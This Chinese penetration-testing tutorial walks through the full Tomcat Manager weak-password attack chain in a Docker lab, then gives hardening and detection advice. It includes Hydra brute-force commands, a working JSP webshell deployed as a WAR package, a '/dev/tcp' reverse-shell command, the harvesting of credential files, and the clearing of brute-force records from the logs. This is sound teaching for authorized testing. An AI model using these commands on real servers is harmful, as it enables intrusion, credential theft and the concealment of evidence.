做授权测试这些年我一直觉得Tomcat的Manager弱口令是新手最应该啃的一块硬骨头。原因很直接Tomcat在存量系统里的占有率极高而Manager后台本身就是一个可部署Web应用的管理入口一旦密码猜中往往意味着可以直接往服务器塞一个WAR包离得到服务器权限就只差一步。很多看起来复杂的渗透测试报告追根溯源都是从一个不起眼的默认口令开始的。这篇文章不会讲什么玄学技巧就老老实实把这套Tomcat弱口令识别 → Manager后台登录 → WAR包后门部署 → 权限验证的完整复现链路拆开给你看。我把过程中遇到的坑、容易翻车的细节、以及防守方应该怎么修一并写清楚希望刚入门的朋友能少走点弯路。1. Manager后台为什么是兵家必争之地1.1 一个管理界面等于一个应用部署入口默认安装的Tomcat在webapps目录下会带上几个Web应用ROOT默认首页、docs、examples、host-manager、manager。其中manager就是传说中的Manager后台负责管理Tomcat本身包括查看已部署的应用、启动/停止应用、在线部署新应用、查看JVM状态和会话信息。这里最关键的权限是部署。Manager后台按角色划分了不同的操作能力常见角色如下角色能干什么manager-gui通过/manager/html网页界面管理manager-script通过/manager/text/*脚本接口管理可执行部署manager-jmx通过JMX协议访问管理manager-status只查看服务器状态不能改动在实战中只要拿到拥有manager-script或者manager-gui角色的账号就等于拿到了一个合法的上线应用入口。正常运维上线一个Java Web应用需要打包、上传、部署而攻击者拿到Manager权限后做的其实是同一件事只不过上传的WAR包里面装的是一个恶意的JSP页面。1.2 弱口令为什么这么多年都清不干净Tomcat自身并不内置默认管理账号理论上讲管理员必须在conf/tomcat-users.xml里手动添加才有Manager访问能力。问题就出在手动添加这个环节很多人图省事直接把网上教程里的演示账号原封不动抄进去或者用tomcat/tomcat、admin/admin这种一分钟就能猜到的组合。我见过最夸张的一次某内部系统的Tomcat管理账号直接是admin:admin而且Manager后台还暴露在公网。运维不是不知道有漏洞而是觉得内网环境没人会来打。结果就是自动化扫描器随便扫一圈后台就像没关门一样敞着。新手复现时也应该有一个意识弱口令问题本身不是技术难题而是管理习惯问题。它考验的不只是会不会用工具而是你能不能从防守方的配置习惯里推断出最可能的弱口令。后面我会专门讲这一块。2. 搭一个带弱口令的Tomcat靶场别拿线上系统练手2.1 用Docker三分钟搞定环境我建议所有新手都用本地Docker搭靶场不要拿任何线上系统做实验。原因不用多说——没授权碰别人的系统性质就是非法的。拉镜像并启动一个Tomcat 8.5容器端口映射为8080docker run -d --name tomcat-lab -p 8080:8080 tomcat:8.5.92-jdk8-temurin-jammy这里选8.5而不是最新版是因为8.5在老系统中存量巨大而且自带Manager应用复现出来的效果更贴近真实场景。启动后先在浏览器访问http://localhost:8080看到Tomcat默认首页就说明容器起来了。注意官方镜像默认情况下是没有配置任何管理用户的而且manager应用内置了一个只允许本机访问的IP限制。如果你直接访问/manager/html大概率会看到403或者连接被拒绝。所以需要进容器手动改配置。2.2 修改tomcat-users.xml并解除IP限制先进入容器编辑用户配置文件docker exec -it tomcat-lab bash vi /usr/local/tomcat/conf/tomcat-users.xml在tomcat-users节点下追加一个演示用户故意设置成弱口令role rolenamemanager-gui/ role rolenamemanager-script/ role rolenamemanager-jmx/ role rolenamemanager-status/ user usernametomcat passwordtomcat rolesmanager-gui,manager-script,manager-jmx,manager-status/还有一个新手极容易翻车的地方/usr/local/tomcat/webapps/manager/META-INF/context.xml里面默认有一行IP白名单限制Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:1 /这行配置的意思是只有本机能访问Manager应用。如果你要模拟公网暴露的Tomcat就必须把这行注释掉或者把allow改成.*否则从另一台机器访问时无论账号密码多正确都会被拦。改完后重启容器docker restart tomcat-lab用curl验证一下管理接口是否响应curl -i http://localhost:8080/manager/html如果返回401并且响应头里有WWW-Authenticate: Basic realmTomcat Manager Application说明环境已经搭好了接下来可以正式开始探测。3. 弱口令识别从手工确认到Hydra批量爆破3.1 先理解Manager后台用的是Basic AuthManager应用的登录方式和普通表单登录不一样它用的是HTTP Basic认证。服务器返回401时响应头里会带一个WWW-Authenticate浏览器收到后会弹出一个原生登录框。输入用户名密码后浏览器会把用户名:密码拼接起来做Base64编码塞进Authorization头里。比如用户名tomcat、密码tomcat请求头就是Authorization: Basic dG9tY2F0OnRvbWNhdA手工验证其实非常简单。如果记不住Base64编码直接让浏览器弹框输入即可想用命令行测试就加上-u参数curl -u tomcat:tomcat http://localhost:8080/manager/html -o /dev/null -w %{http_code}\n返回200说明凭据有效返回401说明密码不对。3.2 用Hydra跑弱口令关键是选对模块和路径手工猜密码只能针对已知的几个默认口令真正要模拟攻击者的效率还是得上爆破工具。这里以Hydra为例命令如下hydra -L users.txt -P pass.txt -s 8080 192.168.1.10 http-get /manager/html -f参数说明-L指定用户名字典-P指定密码字典-s 8080指定非默认端口http-get就是针对HTTP Basic认证的模块目标路径必须是能触发401的地址/manager/html是最常见的选择-f表示找到第一个有效账号后立即停止字典不需要一开始就用rockyou那种几百MB的巨无霸。建议先放一小批高频弱口令tomcat admin manager role1 both密码对应也放一批tomcat admin manager 123456 password为什么先小字典因为爆破这个动作本身就会在目标日志里留下大量401记录而且Tomcat Manager通常还叠加了登录失败锁定或IP封锁策略。小字典直接打中弱口令的概率其实很高没必要一上来就打重型字典。我个人的习惯是先试tomcat/tomcat、admin/admin这类组合再试带年份、带公司简称的组合然后才上工具跑。3.3 不要只盯着/html角色权限直接影响后续利用这里有一个非常关键的细节爆破/manager/html只能确认账号是否拥有manager-gui角色。如果目标账号只有manager-script而没有manager-gui你访问/manager/html依然会得到403但它在/manager/text/list接口下是完全合法的。所以检测的时候最好同时探测两个路径curl -u tomcat:tomcat http://192.168.1.10:8080/manager/text/list如果这个接口返回了已部署应用列表说明账号具备脚本接口的权限后面直接用命令行部署WAR包是最顺滑的路径。如果只有GUI权限也别慌网页后台的Deploy表单一样能上传WAR包只是操作上多一步。4. Getshell核心利用Manager后台部署WAR包后门4.1 为什么首选WAR包而不是去找Struts2漏洞很多人一想到Java Getshell第一反应是去搜Struts2、Spring之类的框架漏洞。但Tomcat Manager弱口令这条路其实更简单也更稳Manager后台本身就是官方提供的部署工具你只是把正常应用换成了恶意应用。对比框架漏洞踩WAR包这条路有几个优势不需要猜框架版本只要Manager密码正确不依赖外网反弹JSP文件本身就是常驻后门部署过程在功能上是合法的防守方如果不关注文件变更很容易忽略代价是需要一个能打包WAR的Java环境以及一个能执行命令的JSP文件。4.2 写一个能执行系统命令的JSPJSP本质就是一个运行时解析的Java页面。下面这段是一个最小化的命令执行器为了兼容Linux管道和重定向我习惯直接用/bin/sh -c包装一下避免Runtime.exec()碰到|、这类符号时直接报错% page importjava.io.* % % String cmd request.getParameter(cmd); if (cmd ! null !cmd.isEmpty()) { String[] command new String[]{/bin/sh, -c, cmd}; Process p Runtime.getRuntime().exec(command); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line); } br.close(); p.waitFor(); } %把这段代码保存为shell.jsp即可。它的用法是访问/shell/?cmdid就会执行id命令并把结果输出到页面上。说明一下这只是一个用于授权测试的最小验证脚本功能上只做了命令执行没有做连接密码、加密传输这些对抗性设计实战中如果真需要隐蔽还得换成服务端加密的版本。但在掌握原理的阶段这样短小清晰的代码反而更适合学习。4.3 打包WAR并部署到ManagerWAR包本质上就是一个zip压缩包可以用JDK自带的jar命令打包mkdir shell cp shell.jsp shell/index.jsp cd shell jar -cvf shell.war index.jsp这里把JSP命名为index.jsp这样部署后访问应用根路径就能直接触发命令执行。打包完成后用curl通过Manager的text接口上传部署curl -u tomcat:tomcat -T shell.war \ http://192.168.1.10:8080/manager/text/deploy?path/shell注意-T是PUT上传必须配合/text/deploy接口使用而且账号需要有manager-script角色。如果你手里只有manager-gui角色就打开/manager/html页面在下方的Deploy区域选择WAR文件并点击部署效果一样。部署成功后直接访问curl http://192.168.1.10:8080/shell/?cmdid能看到返回uid...这类内容就说明命令执行已经打通Getshell成功。这一步是整个复现过程的高光时刻也是新手最容易产生成就感的地方。不过我还是要啰嗦一句在真实的授权项目中建议部署完验证完马上移除这个应用不要把后门留在客户环境里。4.4 从命令执行到交互式Shell的几个坑网页上的命令执行是一次一命令的状态效率太低。通常我会选择弹一个反向Shell回来在本机监听端口nc -lvnp 4444然后在JSP页面上发起反向连接请求。因为我们的JSP已经用/bin/sh -c包装过所以可以直接传这样的命令curl -G --data-urlencode cmdbash -i /dev/tcp/192.168.1.100/4444 01 \ http://192.168.1.10:8080/shell/index.jsp--data-urlencode会自动把、/、空格等特殊字符做好URL编码比手写%20、%26靠谱得多。踩坑提醒如果你在JSP里用的是Runtime.getRuntime().exec(cmd)而不是走/bin/sh -c这种带重定向和管道的命令基本都会失败。另外目标Tomcat如果跑在Windows上命令前缀要换成cmd /c否则同样白搭。环境差异是新手最容易忽略的。5. 拿到Shell之后先确认边界再决定下一步5.1 搞清楚自己在哪、权限有多大Getshell不等于拿到一切特别是Tomcat通常不会以root身份运行而是有一个专门的系统用户。登录后的第一件事永远是确认边界id whoami hostname uname -a cat /etc/os-release我见过有新手一拿到Shell就急着反弹、急着扫描内网结果发现机器是容器环境、权限低得可怜白忙一场。先把环境和身份摸清楚后面的每一步才有意义。5.2 翻配置Tomcat里的数据库凭据是宝藏Tomcat本身会暴露大量信息。拿到Shell或至少具备文件读取权限后优先看这几个位置路径/文件关注点conf/tomcat-users.xml所有Manager账号密码包括高权限账号conf/server.xml端口、连接器配置、SSL证书路径webapps/*/WEB-INF/web.xml应用路由、过滤器逻辑webapps/*/WEB-INF/classes/*.properties数据库地址、账号、密码conf/context.xmlJNDI数据源配置很多时候Tomcat这台机器本身只是跳板真正的核心资产在后面挂着的那台数据库服务器上。数据源配置里如果直接写着jdbc:mysql://10.x.x.x:3306/appdb和密码那后续就明确了一个高价值目标。注意在授权范围内测试就好跨边界扫内网之前必须先和甲方确认范围这是一个职业底线问题。5.3 记得清理痕迹也要记得做记录有些新人做完复现就拍拍屁股走人把shell.war留在客户服务器上这是非常不负责任的做法。在授权的渗透测试中每次复现结束都应该删除上传的WAR后门恢复被修改的配置文件清理Tomcat日志中明显的爆破记录把探测路径、时间、成功口令记录到报告里记录不是给攻击者看的是给防守方做复盘用的。你用了什么弱口令、走了哪条路径防守方需要靠这些信息去加固。6. 防守视角这个洞到底怎么修、怎么查6.1 问题的根子从来不是没打补丁Tomcat弱口令漏洞和常见的远程代码执行漏洞有很大区别它不是你装了最新版就能避免的。哪怕Tomcat版本再新只要tomcat-users.xml里的口令是admin/adminManager后台暴露在公网一切照旧被打穿。所以修复思路必须围绕三点收窄暴露面、增强口令强度、盯紧异常行为。6.2 可落地的修复清单以下是我在复盘报告里最常给出的建议按优先级排列优先级措施具体操作高关闭不需要的Manager删除或重命名webapps/manager目录高限制管理端访问来源在Nginx/防火墙层只允许公司出口IP访问8080高清掉所有弱口令排查tomcat-users.xml改强密码并定期检查中最小化角色授权GUI和Script账号分开不用同一个账号同时挂两个角色中隐藏版本信息修改server.xml里的Server响应头中开启访问日志审计确认AccessLogValve已开启保留足够长周期低升级Tomcat版本8.5以后的多轮更新修复了不少问题这里再说一个容易被忽略的点如果Manager应用必须保留尽量把管理端口和业务端口分开。比如保留8080给业务Manager单独跑在8443或某个非标端口并通过防火墙限制来源IP。虽然这不是绝对安全的方案但能把攻击面砍掉一大截。6.3 入侵排查怎么发现自己已经被Getshell防守方最怕的不是被入侵而是被入侵了还不知道。如果怀疑环境中有人利用了Tomcat弱口令排查命令可以这样入手# 查最近是否有新部署的WAR包 ls -lt /usr/local/tomcat/webapps/ # 查最近被修改的JSP文件 find /usr/local/tomcat/webapps/ -name *.jsp -mmin -1440 # 查Manager访问日志重点关注外部IP grep -i manager /usr/local/tomcat/logs/*access*WAR包后门的特征很明显webapps下面突然多了一个你没部署过的目录里面通常只有一个或少数几个JSP文件部署时间又恰好对应某段时间的访问日志异常。另外如果发现/manager/text/deploy接口有人从公网IP调用过基本可以断定管理凭据已经泄露需要立刻改密码并排查所有机器。我个人在实际项目里还遇到过一个更隐蔽的情况攻击者把WAR包命名为ROOT.war直接覆盖默认应用。这样访问根路径就会加载恶意JSP而ls出来的目录名又和原目录一致稍不留神就会漏掉。所以排查的时候建议看看ROOT目录的文件修改时间和文件数量别只盯着有没有多出来的新目录。整套流程走完你会发现Tomcat弱口令这个硬骨头其实不硬它更像是一扇没上锁的门。难点在于你是否理解背后的认证机制、部署原理以及能不能在Getshell之后稳得住、收得干净。做安全这行永远要在动手之前想清楚边界和义务技术是死的判断力和分寸感才是真正值钱的东西。